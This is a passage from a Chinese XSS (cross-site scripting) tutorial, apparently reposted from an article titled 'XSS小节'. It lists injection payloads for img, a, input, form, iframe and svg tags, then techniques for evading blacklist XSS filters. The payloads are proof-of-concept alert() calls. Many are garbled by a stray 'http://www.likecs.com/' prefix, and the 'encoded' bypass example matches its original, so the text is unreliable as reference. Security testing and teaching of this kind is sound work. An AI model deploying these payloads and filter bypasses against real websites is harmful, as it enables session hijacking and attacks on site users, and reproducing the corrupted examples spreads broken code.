首先我们需要尽可能地找到目标的每个输入输出点并挨个尝试;在进行尝试的时候,我们应优先选择特殊字符进行测试,如"<>&;/':等,如果连<>都未过滤/转义,那么该输入点很可能存在XSS漏洞。
如果<>等标记符号都被过滤/转义了,我们也可以使用标签自身的属性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)来触发XSS,如
<input value=<?=$query?>>这里的$query属于动态内容,我们把他替换成恶意代码,最终的代码为<input value=http://www.likecs.com/xss onmouseover=evil_script>。
一般来说,针对输入框的黑盒测试可能存在反射型XSS,也可能存在存储型XSS,还有可能是DOM型,针对Url参数的黑盒测试绝大多数只存在反射型XSS或DOM型XSS。
常见标签
<img>标签
利用方式1
<img src=http://www.likecs.com/javascript:alert("xss")>
<IMG SRC=http://www.likecs.com/javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL"
<!--CSS标记xss-->
<img>
XSS利用方式2
<img src="http://www.likecs.com/x" onerror=alert(1)>
<img src="http://www.likecs.com/1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=http://www.likecs.com/1 onmouseover=alert('xss')>
<a>标签
标准格式
<a href="http://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=http://www.likecs.com/javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=http://www.likecs.com/1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
标准格式
<input value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input value="" onmouseover=prompt('xss') bad="">
利用方式4
<input value=""><script>alert('xss')</script>
<form>标签
XSS利用方式1
<form action=http://www.likecs.com/javascript:alert('xss') method="get">
<form action=http://www.likecs.com/javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=http://www.likecs.com/1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<form method=post action="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签
XSS利用方式1
<iframe src=http://www.likecs.com/javascript:alert('xss');height=5width=http://www.likecs.com/1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="http://www.likecs.com/aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="http://www.likecs.com/javascript:prompt(`xss`)"></iframe>
svg<>标签
<svg onload=alert(1)>
iframe
<iframe src="http://www.likecs.com/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
——引自wkend的文章《XSS小节》
工具检测
关于XSS的自动检测软件有许多,如Burp的Scan模块,BruteXSS等,这里不做过多解释。
6) shellcode的绕过
绕过XSS-Filter
XSS-Filter是一段基于黑名单的过滤函数,大多数CMS都有这么个函数,作用于用户的每一个输入点,用于过滤可能的恶意代码。不过从某种意义上来说,基于黑名单的保护是一定不会是安全的,由于XSS的多变性,几乎不可能存在完全地过滤。
空格回车和Tab
对XSS-Filter而言,如果仅仅是将函数加入黑名单处理,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在javascript中只会将;作为语句的终止符,当浏览器引擎解析javascript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字javascript|alert的过滤:
<img src=http://www.likecs.com/javasc
ript:aler
t(/xss/)>
对标签属性值进行转码
HTML中属性值支持ASCII码形式,如
<img src="javascript:alert('xss');">
替换成
<img src="javascript:alert('xss');">